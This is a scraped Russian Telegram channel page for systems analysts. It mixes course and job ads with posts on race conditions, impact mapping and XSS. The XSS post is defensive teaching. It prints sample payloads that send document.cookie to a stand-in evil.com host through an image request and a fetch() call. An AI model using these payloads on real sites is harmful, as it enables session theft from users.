анализу","datePublished":"2026-04-03T15:46:39Z","dateModified":"2026-04-03T15:46:39Z","author":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"publisher":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":4928},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":18},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":57},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}]}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/726","url":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/726","mainEntityOfPage":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/726","headline":"🎤 Вебинар Актуальные вопросы ИБ в закупках BPM платформ 31 марта разберем что нужно учитывать при автоматизац…","articleBody":"🎤 Вебинар Актуальные вопросы ИБ в закупках BPM платформ\n\n31 марта разберем что нужно учитывать при автоматизации бизнес-процессов с точки зрения РБПО.\n\nВ последние годы теме РБПО уделяется много внимания, как на законодательном, так и на инженерном уровне. В ответ на новые требования появляются новые методики и инструменты, которые позволят выполнить эти требования на практике. Соответственно, и в тендерной документации выделяют под эти вопросы отдельные разделы.\n\nРазберем следующие вопросы:\n• Нюансы законодательства по 152-ФЗ и 187-ФЗ\n• Типовые отраслевые объекты КИИ\n• ГОСТ Р 56939–2024, проблемы сертификации\n• Приказа ФСТЭК № 117, правомерность ссылок на п.50\n• Удорожание проектов при покрытии по ГОСТ Р 56939–2024\n• Этапность работ по РБПО\n\n👤 Спикер:\nИгорь Клопотов, директор продукта OpenBPM\n\n📅 Когда:\n31 марта, 16:00 МСК\n\n👉 Регистрация по ссылке\n#реклама\nО рекламодателе\n\nerid: 2W5zFHdC2kh","datePublished":"2026-03-30T07:01:03Z","dateModified":"2026-04-02T03:23:03Z","author":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"publisher":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"image":["https://n2.tlmtr.cc/p/_sRKPG2BK_kx3dndCRe3e2eHGf9ck5tNvFgCsOdOUyCU?ty=l"],"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":2122},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":10}]}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/725","url":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/725","mainEntityOfPage":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/725","headline":"Вы тоже сможете вырасти до хардового аналитика уровня Middle+. Как? Добавьте к своим скилам навыки в проектир…","articleBody":"Вы тоже сможете вырасти до хардового аналитика уровня Middle+. Как? \nДобавьте к своим скилам навыки в проектировании архитектуры и интеграций веб-сервисов!\n\nТри месяца назад мы уже писали про этот курс. Сейчас пишем еще раз, потому что у курса вышло полезное обновление, уже доступное ученикам, независимо от того, когда они его купили.\n—————\n📚 Первое: в портфолио включили примеры интеграций от крупных BigTech-компаний. Это позволит вам понять, как технологии применяются в реальных бизнес-контекстах.\n🌐 Второе: обновили портфолио. Теперь в нём есть задания повышенного уровня сложности для каждой темы. Это небольшие реальные проекты, с помощью которых можно не только проверить, но и улучшить свои навыки!\n✔️Третье: вышел новый модуль про проектирование баз данных - нормализация, транзакции, основы DWH, индексы.\n💬Четвертое: стал активен чат учеников (общение, обмен опытом, помощь внутри сообщества)\n—————\n• Результат после прохождения курса: 15 рабочих проектов в портфолио-резюме\n• Доступ к урокам и всем обновлениям останется навсегда \n• Фундаментальная база\n• Всю программу и отзывы смотрите в боте курса\n\nКогда перейдете в бот курса, то получите бесплатные открытые уроки по архитектуре и интеграциям. Польза 👇\n\n@studyit_help_bot\n\nСкидка на курс от канала \n— 1 500₽ на Stepik по промокоду SYS до конца марта.","datePublished":"2026-03-26T07:38:57Z","dateModified":"2026-03-30T07:27:46Z","author":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"publisher":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"image":["https://n1.tlmtr.cc/p/_9rv3YQcCDYnLSXH3rdcDIG9A7vOA0uC0BYlLNZMioP8?ty=l"],"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":2533},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":17},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":15}]}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/724","url":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/724","mainEntityOfPage":"https://telemetr.io/fa/channels/1433682288-sys_sa/posts/724","headline":"🔥 SPRINT OFFER в YADRO для системных аналитиков: Телеком и BIOS/BMC! В YADRO стартовал SPRINT OFFER для систе…","articleBody":"🔥 SPRINT OFFER в YADRO для системных аналитиков: Телеком и BIOS/BMC!\n\nВ YADRO стартовал SPRINT OFFER для системных аналитиков. Это возможность пройти все этапы отбора и получить оффер в компанию всего за три дня. Мы в поиске специалистов в два направления:\n\n🚀 Телеком\nРазработка компонентов мобильных сетей и систем управления сетью. Команда работает с архитектурой базовых станций и телеком-платформами для стандартов GSM/LTE/5G.\nТехнологии: LTE/5G/GSM, 3GPP/RFC/O-RAN/ITU.\n\n💻 BIOS/BMC\nРазработка и поддержка системного ПО для серверов и модулей серверных платформ.\nТехнологии: BMS, BIOS/UEFI, Embedded, Linux, высокоскоростные интерфейсы, протоколы интеграции\n\nСистемные аналитики в этих командах работают с формализацией требований к продукту, технической документацией и взаимодействуют с командами архитектуры, разработки и тестирования.\n\nУровень: Специалист / Старший / Ведущий.\nФормат работы: Удалённая работа или офис в городах присутствия — Москве, Санкт-Петербурге, Нижнем Новгороде, Екатеринбурге, Минске.\n\n⚙️ Как проходит SPRINT OFFER:\n1️⃣ Подайте заявку до 29 марта и пройдите HR-скрининг.\n2️⃣ Пройдите техническое и менеджерское интервью.\n3️⃣ Получите оффер в течение 3 дней.\n\n💙 Подайте заявку до 29 марта и всего за 3 дня начните свой путь в компании, которая задает новые стандарты в технологической среде!","datePublished":"2026-03-23T07:00:32Z","dateModified":"2026-03-26T03:45:41Z","author":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"publisher":{"@type":"Organization","name":"Системный Аналитик","url":"https://telemetr.io/fa/channels/1433682288-sys_sa","image":"https://img.tlmtr.io/c/1z1AfS/5400054135379841722?ty=x"},"image":["https://n1.tlmtr.cc/p/_iuleo4AGzpQ9znHPpB2G_xoUPTQHt0KiDlcKtKuvfnk?ty=l"],"commentCount":3,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":2320},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":4},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":39},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":3}]}}]}
Синхронизируй теорию с практикой на IT_ONE Analyst Meetup для системных и бизнес-аналитиков → Когда: 18 июня 2026 года → Где:
Синхронизируй теорию с практикой на IT_ONE Analyst Meetup для системных и бизнес-аналитиков → Когда: 18 июня 2026 года → Где: Онлайн → Регистрация: до 17 июня Три практических кейса от экспертов-аналитиков IT_ONE для тех, кто хочет превратить методологию в работающие решения:
1️⃣ «Этика в фундаменте: как системный аналитик проектирует системы, которым можно доверять» Ольга Беспалова расскажет, как использовать международные стандарты, чтобы создавать продукты, в безопасности которых уверены и вы, и пользователи. 2️⃣ «St(e)akeHolder: где и как искать?»  Екатерина Машьянова объяснит, как декомпозиция функций системы помогает находить заинтересованных лиц и налаживать работу с ними. 3️⃣ «Аналитик без хаоса: база знаний в Obsidian» Александр Орешкин покажет, как превратить личную базу в Obsidian в сеть связанных идей, где любой нужный контекст можно найти за пару кликов.
Почему стоит посетить IT_ONE Analyst Meetup: ✅ Много практики от ведущих аналитиков IT_ONE, которые ежедневно решают задачи в сложных ИТ-проектах. ✅ Минимум воды, максимум архитектурных и методологических инсайтов. ✅ Онлайн-дискуссия с экспертами и коллегами со всей страны. ✅ Бонус: шаблоны и структура папок для вашей базы знаний в подарок. Регистрируйся на IT_ONE Analyst Meetup до 17 июня: https://cnrlink.com/itoneanalystmeetupsa

🔽 Гонка событий (Race Condition) Гонка событий — ситуация, при которой результат работы системы зависит от порядка выполнения операций Если несколько процессов одновременно работают с одним состоянием, итог может быть непредсказуемым Может возникать в: 🟢микросервисах 🟢распределённых системах 🟢очередях сообщений 🟢асинхронных API 🟢frontend-приложениях 🟢потоковой обработке данных 🍃Сложность гонки событий: проблема проявляется нестабильно Система может работать корректно, а затем случайно выдать ошибку Когда возникает ⚪️несколько процессов работают с одним состоянием ( одновременно читают и изменяют) ⚪️хотя бы один процесс изменяет данные ⚪️порядок выполнения не контролируется ⚪️нарушение порядка доставки (события отправляются в одном порядке, а доставляются — в другом) ⚪️отсутствие координации между сервисами (каждый сервис видит только локальное состояние) ⚪️deadlock (несколько транзакций блокируют друг друга) Типичные признаки ➖«плавающие» баги ➖редкие ошибки ➖невозможность стабильно воспроизвести проблему ➖случайные дубли ➖потеря части данных ➖периодическая рассинхронизация Причины 🍃сетевые задержки 🍃ретраи 🍃повторная доставка сообщений 🍃независимая работа сервисов 🍃параллельные консьюмеры 🍃различная скорость обработки Гонка всегда связана с принципом: ❕корректность системы зависит от последовательности событий Если изменение порядка приводит к разному результату — система подвержена гонке Backend и микросервисы Частый источник гонок — параллельные запросы к одному ресурсу Например: ✨несколько сервисов обновляют один заказ ✨несколько обработчиков меняют баланс ✨несколько консьюмеров читают одну очередь Базы данных При использовании транзакций гонка не исчезает Проблемы: ➖Lost Update (когда изменения одного процесса перезаписываются изменениями другого, и часть данных теряется) ➖dirty read (чтение данных, которые были изменены другой транзакцией, но ещё не зафиксированы ) ➖ non-repeatable read (повторное чтение одной и той же записи внутри транзакции возвращает разные значения, потому что другая транзакция изменила данные) ➖перезапись изменений Брокеры сообщений Не гарантируют отсутствие гонок Проблемы: ⚪️задвоенные события ⚪️доставка не по очереди ⚪️повторная доставка ⚪️параллельные консьюмеры Распределенные системы В распределённых системах гонка — нормальное состояние среды Причины: 🟢eventual consistency (изменения не применяются на всех серверах мгновенно) 🟢независимые сервисы 🟢сетевые лаги 🟢разные каналы доставки 🟢репликация Примеры Микросервисы с общей БД ➖сервис заказов и сервис оплаты работают с одной таблицей ➖сервис оплаты меняет статус заказа ➖сервис заказов одновременно обновляет адрес доставки Оба сервиса: 1. читают одну запись 2. меняют локальную копию 3. сохраняют объект полностью. Последний UPDATE уничтожает изменения другого сервиса Как решать ✨обновлять только нужные поля ✨использовать оптимистическую блокировку ✨отказаться от общей БД Event-driven архитектура Сервис публикует: ➖OrderCreatedOrderCancelled Потребитель получает их в обратном порядке Клиент сначала получает письмо: «Заказ отменён» А затем: «Заказ успешно создан» Как решать ✨партицирование по orderId ✨версионирование событий ✨occurredAt timestamp 📎 Материалы 1. Небезопасная многопоточность или Race Condition 2. Что такое состояние гонки 3. Почему стоит проверять приложения на устойчивость к race condition 4. Разница между Data Race и Race Condition 📚 Книги 1. Высоконагруженные приложения - Мартин Клеппман 2. Микросервисы. Паттерны разработки и рефакторинга - Крис Ричардсон 3. Шаблоны корпоративных приложений - Мартин Фаулер 4. Release it! Проектирование и дизайн ПО для тех, кому не всё равно - Майкл Нейгард #проектирование 🧑‍🎓 Больше полезного в базе знаний по системному анализу

❓Уровень обычного системного аналитика уже не для вас? Научитесь управлять архитектурой и командой системных аналитиков на курсе «Системный аналитик. Управление командой» 🎁 Записывайтесь на 3 бесплатных вебинара — познакомьтесь с программой обучения и преподавателями. Задайте свои вопросы экспертам! Вебинар 1: «C4 для системного аналитика: строим единый язык между бизнесом и разработкой» ⏰4 июня в 20:00 мск Программа вебинара: Разберём самую простую и мощную модель визуализации архитектуры, которая позволяет за 4 диаграммы объяснять систему бизнесу, разработчикам и команде. На практике покажем, как использовать C4-модель, чтобы быстро и понятно объяснять систему на нужном уровне детализации — техническим лидерам, разработчикам и менеджменту и решить головную боль — недопонимание между стейкхолдерами — и сразу сможете применять её в требованиях. Вебинар 2: «Архитектура информационных систем. Монолиты, SOA и микросервисы» ⏰17 июня в 20:00 мск Программа вебинара: 1. Как выделять архитектурные слои информационной системы 2. Основные компоненты системы и как рисовать компонентные модели 3. Различия явных признаков хорошей и плохой архитектуры 4. Плюсы и минусы монолитной, SOA и микросервисной архитектуры Вебинар 3: «Внедрение новой функции системным аналитиком на примере услуги на Госуслугах» ⏰24 июня в 20:00 мск Программа вебинара: Разбор процесса внедрения новой фичи системным аналитиком. На вебинаре спикер покажет, как проектируются и выводятся реальные сервисы на портал Госуслуг. 1. Сбор требований 2. Моделирование бизнес-процесса 3. Проектирование интерфейса системы 4. Описание компонентов системы 5. Настройка форм для госуслуг 6. Настройка печатных форм 7. Проектирование базы данных 8. API 9. Интеграция систем Записывайтесь ➡️ OTUS.RU Реклама. ООО «Отус онлайн-образование», ОГРН 1177746618576

Системный аналитик помогает бизнесу и разработке говорить на одном языке: разбирает задачи компании, описывает требования, пр
Системный аналитик помогает бизнесу и разработке говорить на одном языке: разбирает задачи компании, описывает требования, проектирует IT-решения и следит, чтобы система работала на реальные цели бизнеса. Онлайн-магистратура СПбГУ и Нетологии «Системный анализ и интеллектуальные системы управления бизнес-процессами» готовит специалистов на стыке IT и управления. В программе сочетаются академическая база СПбГУ и прикладные инструменты Нетологии. Студенты изучают математическое моделирование, алгоритмы, системный анализ, Python, BI-системы, no-code-инструменты, управление проектами и подходы к внедрению искусственного интеллекта. Такой набор навыков помогает работать со сложными бизнес-процессами: находить узкие места, снижать риски при разработке, формулировать требования к системам и сопровождать внедрение IT-решений. Обучение проходит полностью онлайн. После выпуска вы получаете диплом магистра СПбГУ очного образца по направлению «Прикладная информатика». Подробнее о программе Реклама. ООО “Нетология” ОГРН 1207700135884 Erid: 2VSb5wrYxot

Аналитики, которые строят highload: в чём их секрет? 28 мая в 18:00 собираемся в Санкт-Петербурге чтобы узнать, как наладить
Аналитики, которые строят highload: в чём их секрет? 28 мая в 18:00 собираемся в Санкт-Петербурге чтобы узнать, как наладить процессы системного анализа в сложных проектах. На митапе разберем: ▶️как выстроить системный анализ с нуля и перейти от хаоса к стандартам ▶️как писать спецификации, которые архитекторы принимают с первого раза (с расчётом RPS и сайзинга БД) ▶️погрузимся в Sequence Diagram и проверим, насколько ваши знания соответствуют спецификации UML. Митап пройдет в гибридном формате: вы можете присоединиться лично или онлайн. Участие бесплатное, ссылку на трансляцию пришлем накануне. Регистрация и подробности по ссылке: https://career.crpt.ru/events/system-analytics Чат для общения и нетворкинга: https://t.me/+C3mXc_pzTpYwMGMy #43Tech #системныйанализ #UML

Поздравляем, вы на 1 шаг ближе к работе мечты 🥳 Осталось только прочитать этот пост, подписаться на канал и откликнуться на
Поздравляем, вы на 1 шаг ближе к работе мечты 🥳 Осталось только прочитать этот пост, подписаться на канал и откликнуться на вакансию 😉 Avito Career* — место, где Авито делится актуальными вакансиями и стажировками для аналитиков данных. Подписывайтесь, чтобы найти ту самую работу ✨ *карьера

Repost from SberHealth ИТ
Приглашаем на третий System Analysis Meetup SberHealth ❤️ Когда: 20 мая в 18:30 Где: онлайн На митапе поговорим о навыках и п
Приглашаем на третий System Analysis Meetup SberHealth ❤️ Когда: 20 мая в 18:30 Где: онлайн На митапе поговорим о навыках и подходах, которые помогают расти системным аналитикам. Через доклады и реальные примеры рассмотрим, как создавать новые решения в работе, развивать архитектурное мышление и растить техническую экспертизу ⭐️ В программе: 🟣Ирина Облецова, старший системный аналитик, поделится, как разработала своё решение для оформления требований к мобильной разработке — диаграмму на стыке Figma и блок-схемы 🟣Мария Горгоц, старший системный аналитик, расскажет, что стоит знать аналитику, чтобы подружиться с архитектурными решениями и расти в архитектуре Приглашённый спикер: 🟡Виктория Кухтяева, эксперт по системному анализу и котикам, поделится, какие знания по кибербезопасности нужны для уверенной работы с разработкой и архитектурой, а также как закладывать требования безопасности в решения 🆕Круглый стол Обсудим, как системному аналитику перейти в архитекторы: реальные истории, рабочие практики и нужные навыки 🔜 Регистрация на митап и подробности

🛡XSS-уязвимость XSS (Cross‑Site Scripting) — атака, при которой злоумышленник внедряет в веб‑страницу вредоносный код (обычно на JavaScript). Код выполняется в браузере другого пользователя (жертвы) ➡️ хакер находит место, куда можно «подложить» свой скрипт, когда жертва открывает страницу — скрипт крадёт её данные, подменяет содержимое или выполняет действия от её имени На этапе проектирования требований можно: ⏺создать условие для уязвимости (например, разрешить любые символы в поле комментария) ✅ предотвратить её (чётко указать, какие символы и разметка допустимы) Как работает XSS 1⃣ Злоумышленник находит поле ввода (поиск, комментирование, имя профиля) 2⃣ Вводит туда вредоносную строку, например:  <script>alert('Ваши куки: ' + document.cookie)</script> 3⃣ Приложение сохраняет или сразу выводит эту строку без обработки 5⃣ Пользователь открывает страницу ➡️ его браузер видит эту строку как настоящий HTML код ➡️выполняет её 5⃣ Злоумышленник получает нужные данные (например, куки сессии) и может войти под учётной записью жертвы ❗️Ключевое условие: приложение показывает пользовательские данные как будто это безопасный код страницы, а не обычный текст Типы XSS ⭕️Хранимая (Stored XSS) — самая опасная Скрипт сохраняется на сервере (в базе, в файле) и отображается всем, кто заходит на страницу ➡️ Пример Форма отзывов. Хакер пишет отзыв: > Классный товар! <script>new Image().src='https://evil.com/steal?c='+document.cookie</script> Если не обработан текст, каждый посетитель страницы отзывов отправит свои куки на сервер злоумышленника.ю ✅ Защита ✨в требованиях к полю, которое будет отображаться у других пользователей,  прописывать ограничения ✨если HTML нужен — описывать белый список тегов (только <b>, <i>, <a> с проверенными ссылками) ⭕️Отражённая (Reflected XSS) Скрипт не сохраняется, а «отражается» в ответе сервера. Жертву нужно заставить перейти по специальной ссылке. ➡️ Пример Сайт показывает  поисковый запрос: «Вы искали: запрос».  Хакер отправляет жертве ссылку:  https://site.com/search?q=<script>alert(1)</script>  Жертва кликает ➡️ скрипт выполняется ✅ Защита В требованиях запрещать отображать непроверенные параметры URL или заголовков прямо в HTML. Даже для сообщений об ошибке ⭕️DOM‑based XSS (без участия сервера) Скрипт появляется из‑за уязвимого JavaScript-кода на самой странице, который берёт данные из адресной строки (хеша, параметров) и вставляет в HTML ➡️ Пример (уязвимый код на странице): document.getElementById('message').innerHTML = location.hash.substring(1) Хакерская ссылка:  https://site.com/<img src=x onerror=alert(1)> Браузер не отправляет хеш на сервер, но на странице выполняется вредоносный код ✅ Защита В клиентских скриптах не использовать innerHTML с пользовательскими данными, Применять безопасные методы (textContent, setAttribute) ⭕️Слепая XSS (Blind XSS) Скрипт хранится на сервере, но срабатывает там, где хакер не видит результат — в админ‑панели, в интерфейсе оператора ➡️ Пример Форма обратной связи. Поле «Имя»: <script>fetch('https://evil.com?cookie='+document.cookie)</script>  Сам клиент видит своё имя без проблем (экранирование на публичной части есть) Но оператор в админ‑панели смотрит все заявки — и там экранирования нет. Скрипт ворует сессию оператора ✅ Защита Требования к экранированию должны быть одинаковыми для всех интерфейсов, включая внутренние. 📎 Материалы 1. Что такое XSS-атака и как с ней бороться 2. XSS: нападение и защита 3. Что такое XSS-уязвимости и как защититься  с помощью Content Security Policy 4. Примеры атак XSS и способов их ослабления 5. XSS-атака без секретов: от простого alert до захвата сессии 📚 Книги Грокаем безопасность веб-приложения - Макдональд Малькольм #безопасность 🧑‍🎓 Больше полезного в базе знаний по системному анализу

На 50 откликов — 2-3 приглашения. На 2-3 собеседования — 0 офферов. И непонятно, что я сделал не так... Или в ответ: "Сделали
На 50 откликов — 2-3 приглашения. На 2-3 собеседования — 0 офферов. И непонятно, что я сделал не так... Или в ответ: "Сделали выбор в пользу другого кандидата". И непонятно: то ли рынок мёртв, то ли ты что-то не так делаешь. Скорее всего, и то, и другое. Но второе мы точно можем исправить🤓 Что делаем мы: 🔹 Нет опыта ➡️ обучаем с нуля, ведём за руку до оффера 🔹 Не зовут на собесы ➡️ переупаковываем резюме. Даже если опыт не в IT 🔹 Зовут, но заваливаешь ➡️ проводим полноценные тестовые собеседования, разбираем твои собесы 🔹 Сопровождаем прямо в процессе найма — пока ты ходишь на собесы, мы с тобой на связи, правим стратегию на ходу Само собой даем: 📦 Слитые актуальные собеседования из реальных компаний 📦 Материалы для подготовки, шпаргалки — то, что реально спрашивают на собесах прямо сейчас 📦 Базу вопросов по тестам, кейсам, теориям — никакой воды Главное — оплата только после трудойстройства💰 Ты не платишь ни копейки, пока не получишь оффер. Никаких предоплат. Никаких «купи курс, а там уж сам». Итог: Мы уже устроили 50+ аналитиков. С нуля, с опытом, с опустившимися руками. На рынке, который уже похоронили. Надоел поиск и хочешь работать? Оставляй заявку на сайте!

Нужны актуальные вопросы с собеседований ? SA | Собеседования - твой незаменимый помощник в подготовке к собеседованиям. 🔊Об
Нужны актуальные вопросы с собеседований ? SA | Собеседования - твой незаменимый помощник в подготовке к собеседованиям. 🔊Обзоры собеседований c вилками на позиции: 🔵Системных аналитиков (Junior, Middle, Senior, Lead). 🔵Solution Архитекторов. 🔵С комментариями автора - как человека, который активно собеседует кандидатов. 🔊А ещё на Boosty ты найдёшь: 🔵Записи собеседований: В хорошем качестве - с тайм-кодами и названиями компаний. 🔵Статистику вопросов в разрезе каждой конкретной компании. 🔵При наличии подписки - обратную связь по твоим собеседованиям и рекомендации по их прохождению от человека, который провёл более 100 интервью в 2023–2025 годах. ➡️ Подписаться

🔥Получите навыки системного аналитика с нуля и примените их на практике с актуальными инструментами на реальных проектах. Начните обучение на курсе «Системный аналитик». 🎁Записывайтесь на 3 бесплатных вебинара — познакомьтесь с программой обучения и преподавателями. Задайте свои вопросы экспертам! 🟣Вебинар 1: «Как не допустить ошибок при написании пользовательских историй (User Story)?» ⏰5 мая в 20:00 мск Программа вебинара: 1. Вспомним, что такое пользовательская история и особенности ее написания 2. Определим типичные ошибки при составлении пользовательских историй 3. Рассмотрим пример плохо написанной пользовательской истории и ее критериев приемки 4. Проработаем варианты исправления плохо написанной пользовательской истории 5. Порефлексируем и обсудим результаты 🟣Вебинар 2: «Обзор нотации BPMN 2.0» ⏰13 мая в 18:00 мск Программа вебинара: 1. Базовые понятия нотации BPMN 2.0 2. Базовые элементы нотации BPMN 2.0 3. Плюсы и минусы нотации BPMN 2.0 4. Основные антипаттерны моделирования в нотации BPMN 2.0 🟣Вебинар 3: «Диаграмма Последовательности (Sequence Diagram) - швейцарский нож системного аналитика» ⏰19 мая в 20:00 мск Программа вебинара: 1. Смысл диаграмм и визуализаций в работе аналитика 2. Нотация Диаграммы Последовательности с нуля за 30 минут 3. Что еще освоить, чтобы приносить пользу команде Записывайтесь ➡️ OTUS.RU Реклама. ООО «Отус онлайн-образование», ОГРН 1177746618576

📊 Научитесь проектировать API и архитектуру ПО как профи, освойте SQL и NoSQL на продвинутом уровне, узнайте принципы построения сложных систем и как выбирать верные архитектурные решения. Получите актуальные навыки и инструменты. Станьте экспертом в системном анализе на курсе «Системный аналитик. Экспертный уровень» Старт группы: 29 апреля Обучение: 6 месяцев Формат: онлайн Актуальная программа обучения уже доступна для вас на сайте бесплатно. Поддержка менторов и преподавателей на каждом этапе обучения. Задайте вопрос прямо на сайте и вам ответят! 🎁Записывайтесь на бесплатный вебинар 23 апреля в 18:00 мск Тема: «Cоздаём ИИ-ассистента для системного аналитика за 1 час» Познакомьтесь с руководителем курса и задайте свои вопросы! Регистрация на сайте. Оставьте заявку на курс ➡️ OTUS.RU Реклама. ООО «Отус онлайн-образование», ОГРН 1177746618576

Impact mapping Impact mapping — техника планирования, которая помогает связать требования с бизнес-результатом Результат — визуальная карта, отвечает на вопросы по порядку: 1. Зачем это делаем? (Цель) 2. Кто может помочь или помешать? (Актор) 3. Как должно измениться их поведение? (Влияние) 4. Что можем создать, чтобы вызвать это изменение? (Результат) 💡 Не строятся функции. Меняется поведение акторов для достижения цели Какую проблему решает Часто требования формируются как список функций Это приводит к проблемам: ⚪️нет связи между функциями и бизнес-целями ⚪️бэклог переполнен ⚪️приоритеты определяются субъективно ⚪️команда становится “feature factory” Традиционные артефакты (user stories, use cases): ➖описывают что сделать ➖но не требуют объяснения зачем Impact Mapping вводит причинно-следственную модель: цель ➡️ акторы ➡️ изменения поведения ➡️ решения И обратную проверку: решение ➡️ влияние ➡️ актор ➡️ цель Если цепочка не работает в обе стороны — элемент не нужен Основные элементы Всегда 4 уровня. Без исключений. 🟧 Цель Не “что улучшить”, а “какой результат получить” Пример 🟧 Улучшить UX 🟧 Увеличить конверсию с 2% до 3% за 3 месяца 🟧 без метрики невозможно понять, работает ли решение 🟧 Акторы Это люди или группы, которые могут повлиять на цель Могут помогать или мешать НЕ системные компоненты. Это не БД и не API. Это роли с поведением. Примеры акторов 🟧гостевой пользователь (без аккаунта) 🟧авторизованный премиум-подписчик 🟧агент поддержки 🟧 Система оплаты 🟧 Пользователь, Оператор поддержки 🟧 Влияния Это изменение поведения актора НЕ функция и НЕ действие системы Пример Функция: “Показывать всплывающее окно со скидкой”. Влияние: “Гостевой пользователь завершает оформление заказа вместо ухода”. Влияние должно быть наблюдаемым Если невозможно измерить, изменилось ли поведение, это не влияние 🟧 Результаты То, что создаёт команда: функции, истории, задачи, API, UI-компоненты, отчёты Результат попадает на карту, только если напрямую поддерживает влияние 🟧 несколько результатов могут поддерживать одно влияние 🟧 а один результат - несколько влияний Если сделать X → поведение изменится 🟧искать минимальное решение для проверки гипотезы Пример
Цель: Увеличить долю повторных покупок с 30% до 45% к 31 дек
│
├── Актор: Авторизованный клиент
│   ├── Влияние: Возвращается на сайт в течение 7 дней без напоминания
│   │   ├── Результат: Персонализированная главная с недавно просмотренными товарами
│   │   └── Результат: Сохранение корзины между сессиями с визуальным индикатором
│   └── Влияние: Добавляет товары в корзину быстрее, чем в прошлый раз
│       └── Результат: Повторный заказ в один клик из истории заказов
│
├── Актор: Покупатель впервые
│   └── Влияние: Создаёт аккаунт после покупки (а не до)
│       └── Результат: Предложение создать аккаунт после оформления заказа (без принудительного входа)
│
└── Актор: Агент поддержки
    └── Влияние: Решает проблемы с аккаунтом без эскалации в инженерию
        └── Результат: Самостоятельный сброс пароля с SMS-подтверждением
Когда использовать 🤩исследование нового продукта 🤩разработка функции для нескольких спринтов. Impact mapping гарантирует, что каждая часть связана с изменением поведения 🤩кросс-функциональная работа с участием продакта, инженерии, маркетинга, продаж. Карта создаёт общий язык 🤩планирование Прежде чем заполнять бэклог, создать impact-карты для каждой цели Затем извлечь функции из карт 🤩много функций, но нет бизнес-результатов Не стоит использовать ➖исправление багов ➖задачи только ради соответствия требованиям (compliance), изменения поведения нет ➖уже есть подобные инструменты ➖инфраструктурная работа (обновление БД, миграция серверов) 📎 Материалы 1. Impact Mapping на практике 2. Как создать работающий Impact Map 3. Impact Mapping на практике 4. Сайт книги от создателя подхода "Impact mapping: Как повысить эффективность программных продуктов и проектов по их разработке | Аджич Гойко" #требования 🧑‍🎓 Больше полезного в базе знаний по системному анализу

Impact mapping Impact mapping — техника планирования, которая помогает связать требования с бизнес-результатом Результат — визуальная карта, отвечает на вопросы по порядку: 1. Зачем это делаем? (Цель) 2. Кто может помочь или помешать? (Актор) 3. Как должно измениться их поведение? (Влияние) 4. Что можем создать, чтобы вызвать это изменение? (Результат) 💡 Не строятся функции. Меняется поведение акторов для достижения цели Какую проблему решает Часто требования формируются как список функций Это приводит к проблемам: ⚪️нет связи между функциями и бизнес-целями ⚪️бэклог переполнен ⚪️приоритеты определяются субъективно ⚪️команда становится “feature factory” Традиционные артефакты (user stories, use cases): ➖описывают что сделать ➖но не требуют объяснения зачем Impact Mapping вводит причинно-следственную модель: цель ➡️ акторы ➡️ изменения поведения ➡️ решения И обратную проверку: решение ➡️ влияние ➡️ актор ➡️ цель Если цепочка не работает в обе стороны — элемент не нужен Основные элементы Всегда 4 уровня. Без исключений. 🟧 Цель Не “что улучшить”, а “какой результат получить” Пример 🟧 Улучшить UX 🟧 Увеличить конверсию с 2% до 3% за 3 месяца 🟧 без метрики невозможно понять, работает ли решение 🟧 Акторы Это люди или группы, которые могут повлиять на цель Могут помогать или мешать НЕ системные компоненты. Это не БД и не API. Это роли с поведением. Примеры акторов 🟧гостевой пользователь (без аккаунта) 🟧авторизованный премиум-подписчик 🟧агент поддержки 🟧 Система оплаты 🟧 Пользователь, Оператор поддержки 🟧 Влияния Это изменение поведения актора НЕ функция и НЕ действие системы Пример Функция: “Показывать всплывающее окно со 